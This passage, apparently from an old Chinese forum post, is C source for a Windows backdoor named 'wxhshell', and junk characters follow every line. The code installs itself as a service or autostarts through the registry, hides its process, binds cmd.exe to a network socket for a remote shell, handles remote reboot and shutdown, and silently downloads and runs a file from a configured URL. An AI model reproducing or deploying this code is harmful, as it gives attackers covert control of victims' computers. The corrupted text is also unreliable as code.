  // 帮助 ^x >R #.R  
  case '?': { RLh%Y>w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #FGj)pu  
    break; MR":a T  
  } CTB qX  
  // 安装 ]|Iczg-  
  case 'i': { 0#sf,ja>  
    if(Install()) bhjJH,%_>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r*Z p-}  
    else pr \OjpvD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 78'3&,+si  
    break;  N,ihQB5  
    } Xj6?,J  
  // 卸载 s=&x%0f%  
  case 'r': { ! M7727  
    if(Uninstall()) Coe%R(x5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x*_'uPo S  
    else &K"qnng/y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lt C  
    break; > {h/4T@  
    } /a-OB U  
  // 显示 wxhshell 所在路径 7@!ne&8Z?  
  case 'p': { V?C a[  
    char svExeFile[MAX_PATH]; %vWh1-   
    strcpy(svExeFile,"\n\r"); #"JtH"pF  
      strcat(svExeFile,ExeFile); !y;xt?  
        send(wsh,svExeFile,strlen(svExeFile),0); UDgUbi^v|D  
    break; IDt7KJ@hc  
    } $0 ~_)$i :  
  // 重启 ^,fMs:  
  case 'b': { u3vw[k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mm`yu$9gbP  
    if(Boot(REBOOT)) ESY\!X:|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U'xmn$ O  
    else { L8$+%Gvo  
    closesocket(wsh); m@` NN  
    ExitThread(0); oe1$;K>.7  
    } \4hB1-  
    break; =@ed {~  
    } $@ZrGT  
  // 关机 3B ;aoejHm  
  case 'd': { sTzt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ";/,FUJJ  
    if(Boot(SHUTDOWN)) 8|S}!P"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ARJ}h  
    else { >~* w  
    closesocket(wsh); X=X  
    ExitThread(0); D]5cijO6  
    } R|t.J oP9  
    break; #7,;/rtO7  
    } 8CGjI?j  
  // 获取shell |D[4 G6&  
  case 's': { iJEKLv  
    CmdShell(wsh); MryY<s  
    closesocket(wsh); 5tu 4uYp;  
    ExitThread(0); Ov~>* [  
    break; ty)~]!tA  
  } ]n&Eb88  
  // 退出 d7!,  
  case 'x': { #s]`jdc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H.s:a#l?  
    CloseIt(wsh); W"H*Ad(V  
    break; ,mvU`>Ry  
    } s% (|z  
  // 离开 `&)uuLn|  
  case 'q': { ~*^aCuq\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >Byxb./*  
    closesocket(wsh); 47^R  
    WSACleanup(); UZ 6:vmcT  
    exit(1); Ab)X/g-I @  
    break; P4dhP-t  
        } ]^DNzqu=@h  
  } ~V!gHJ5M  
  } <(dg^;  
L[.RV*sL  
  // 提示信息 ZE0D=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V.kRV{43  
} rh 7%<xb>  
  } & 0%x6vea  
LIMPWw g  
  return; GUdVsZjz(  
} Jz6zJKcA  
/4#A|;d_  
// shell模块句柄 )_Wo6l)i  
int CmdShell(SOCKET sock) uO}UvMW  
{ ^,N=GZRWW  
STARTUPINFO si; dG*2-v^G  
ZeroMemory(&si,sizeof(si)); =?gDM[t^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B|6_4ry0U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QwgP+ M+  
PROCESS_INFORMATION ProcessInfo; "1%YtV5R{  
char cmdline[]="cmd"; EnnE@BJ"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u40<>A  
  return 0; f" g-Hbl5  
} t7qY!S (  
8UN7(J  
// 自身启动模式 I`FqZw  
int StartFromService(void) DE_ <LN  
{ h}c R >  
typedef struct =^S1+B MY-  
{ w{5v*SHl}`  
  DWORD ExitStatus; %XAF"J  
  DWORD PebBaseAddress;  Oa/#2C~  
  DWORD AffinityMask; sAfNu~d  
  DWORD BasePriority;  hNF.  
  ULONG UniqueProcessId; kB $?A8Olu  
  ULONG InheritedFromUniqueProcessId; &3%V%_  
}   PROCESS_BASIC_INFORMATION; MY" 8!  
JUlCj #%  
PROCNTQSIP NtQueryInformationProcess; 0L|D1_k[  
E\dJb}"x %  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E|l qlS7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; = & =#G3f  
y?@(%PTp  
  HANDLE             hProcess; ?0k4l8R  
  PROCESS_BASIC_INFORMATION pbi; lzup! `g  
&'d3Yt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EHqcQx`K_  
  if(NULL == hInst ) return 0; E-J<%+  
 pu?D^h9/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nN$aZSb`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); - TU^*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f15f)P  
EsKOzl[c:  
  if (!NtQueryInformationProcess) return 0; Hklgf  
>%{H>?Hn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (nLT 8{>0  
  if(!hProcess) return 0; `M.\D  
t,vj)|:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S1D=' k]  
5x/LHsr=m  
  CloseHandle(hProcess); rf]'V Jg#3  
?A`8c R=)I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c#YW>(  
if(hProcess==NULL) return 0; qxW^\u!<  
"0]s|ys6<  
HMODULE hMod; \:@yfI@  
char procName[255]; iX\]-_D  
unsigned long cbNeeded; Qy_! +q  
S<bsrS*$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;j^C35  
8ZPjzN>c6  
  CloseHandle(hProcess); mKN#dmw6  
N!iugGL  
if(strstr(procName,"services")) return 1; // 以服务启动 5}MjS$2og  
4J${gcju  
  return 0; // 注册表启动 5 i;n:&Y  
} L>.* ^]  
*Y/}E X! F  
// 主模块 7t~12m8x  
int StartWxhshell(LPSTR lpCmdLine) LOf)D7T  
{ W5_aS2$  
  SOCKET wsl; VYC$Q;Z  
BOOL val=TRUE; @^UnrKSd  
  int port=0; l11+sqg  
  struct sockaddr_in door; $>=?'wr  
CZ4Nw]dtR  
  if(wscfg.ws_autoins) Install(); a15kFun  
,J)wn;@  
port=atoi(lpCmdLine); aq-R#q  
,3~[cE<4  
if(port<=0) port=wscfg.ws_port; ?|,-Bft3  
~![J~CkPS  
  WSADATA data; FvVR \a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N~t4qlC/  
w_h}c$;GK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CPt62j8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1b4/  
  door.sin_family = AF_INET; O|I)HpG;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7ts`uI<E@7  
  door.sin_port = htons(port); oW\kJ>!  
wi$,Y. :  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `#x}-A$  
closesocket(wsl); czu?]9;^ Z  
return 1; W34_@,GD  
} .&2Nm&y$ K  
.5K}R<  
  if(listen(wsl,2) == INVALID_SOCKET) { ;r.0=Uo9]  
closesocket(wsl); DL]\dD   
return 1; (HD8Mm  
} Tw+V$:$$  
  Wxhshell(wsl); %|\Af>o4d  
  WSACleanup(); |p\vH#6y+  
O\&-3#e  
return 0; ' zz ^ !@  
%Z]c[V.  
} Bt[Wh@  
lJIcU RI4  
// 以NT服务方式启动 !Pf6UNN'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `y0u(m5  
{ z8-dntkf  
DWORD   status = 0; 7wB*@a-  
  DWORD   specificError = 0xfffffff; H{CiN  
aRE%(-5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Is1(]^EE*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &&$,BFY4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TcKt   
  serviceStatus.dwWin32ExitCode     = 0; PqVz ^(Wz  
  serviceStatus.dwServiceSpecificExitCode = 0; N6UPD11}6  
  serviceStatus.dwCheckPoint       = 0; ` 5lW  
  serviceStatus.dwWaitHint       = 0; @:%p#$V  
![H{ndH!Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %(YU*Tf~  
  if (hServiceStatusHandle==0) return; c3]`W7E6L  
xixdv{M<FF  
status = GetLastError(); $z48~nu@ j  
  if (status!=NO_ERROR) TkyP_*  
{ XSoHh-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4Mck/i2  
    serviceStatus.dwCheckPoint       = 0; t$zeB OI)  
    serviceStatus.dwWaitHint       = 0; c%x9.s<+1  
    serviceStatus.dwWin32ExitCode     = status; 1];OGJuJ2  
    serviceStatus.dwServiceSpecificExitCode = specificError; c]]e(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s=[T,:Z  
    return; ^sqTgrG  
  } u}Q cyG^  
%ZbdWHO#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,:=g}i  
  serviceStatus.dwCheckPoint       = 0; *-\qO.4\  
  serviceStatus.dwWaitHint       = 0; 3$f+3/l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $rV4JROb  
} pr?k~Bn  
;]\>jC  
// 处理NT服务事件,比如:启动、停止 $/#F9>eZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2m{d>  
{ -50Qy[0."  
switch(fdwControl) sEzl4I  
{ Fz.Ij'8.H  
case SERVICE_CONTROL_STOP: Da-U@e!  
  serviceStatus.dwWin32ExitCode = 0; V ah&)&n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -,a@bF:  
  serviceStatus.dwCheckPoint   = 0; 1<;RI?R[9  
  serviceStatus.dwWaitHint     = 0; T]UrKj/iF  
  { ,+GS.]8<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j{&$_  
  } f~t5[D(\Q,  
  return; me  ,lE-  
case SERVICE_CONTROL_PAUSE: KEfwsNSc%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p G(Fw>  
  break; W87kE?,  
case SERVICE_CONTROL_CONTINUE: 4H*M^?h\#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h-+vN hH  
  break; ?d' vIpzO!  
case SERVICE_CONTROL_INTERROGATE: U+-R2w]#q_  
  break; 7#+>1 "\  
}; C'.^2s#e8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K3xt,g  
} w:nLm,  
FxdWJ|rN9D  
// 标准应用程序主函数 /1h ${mo~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d.xT8l}sS  
{ Y. Uca<{.[  
@p%WFNR0  
// 获取操作系统版本 4Is Wp!`W  
OsIsNt=GetOsVer(); 9}A\Bh tiM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l8H8c &  
+%=lu14G  
  // 从命令行安装 M REB  
  if(strpbrk(lpCmdLine,"iI")) Install(); `R m<1  
Xf{ht%b  
  // 下载执行文件 WX4 f3Um  
if(wscfg.ws_downexe) { vI \8@97  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !uW;Ea?  
  WinExec(wscfg.ws_filenam,SW_HIDE); aJLc&o 8Yg  
} ~B\O{5W  
%;,4qB  
if(!OsIsNt) { 7* R %zJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 fLg :+Ue<B  
HideProc(); i6P'_  
StartWxhshell(lpCmdLine); p735i`8  
} t03T1.:(Mg  
else 66{Dyn7J~  
  if(StartFromService()) Ia j`u  
  // 以服务方式启动 4 z^7T  
  StartServiceCtrlDispatcher(DispatchTable); 3R<VpN){  
else PwnfXsR  
  // 普通方式启动 dR!x)oO=  
  StartWxhshell(lpCmdLine); SZD7"m4  
B|ctauJ  
return 0; U etI 4`  
}
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只看该作者 1 发表于: 2006-10-10
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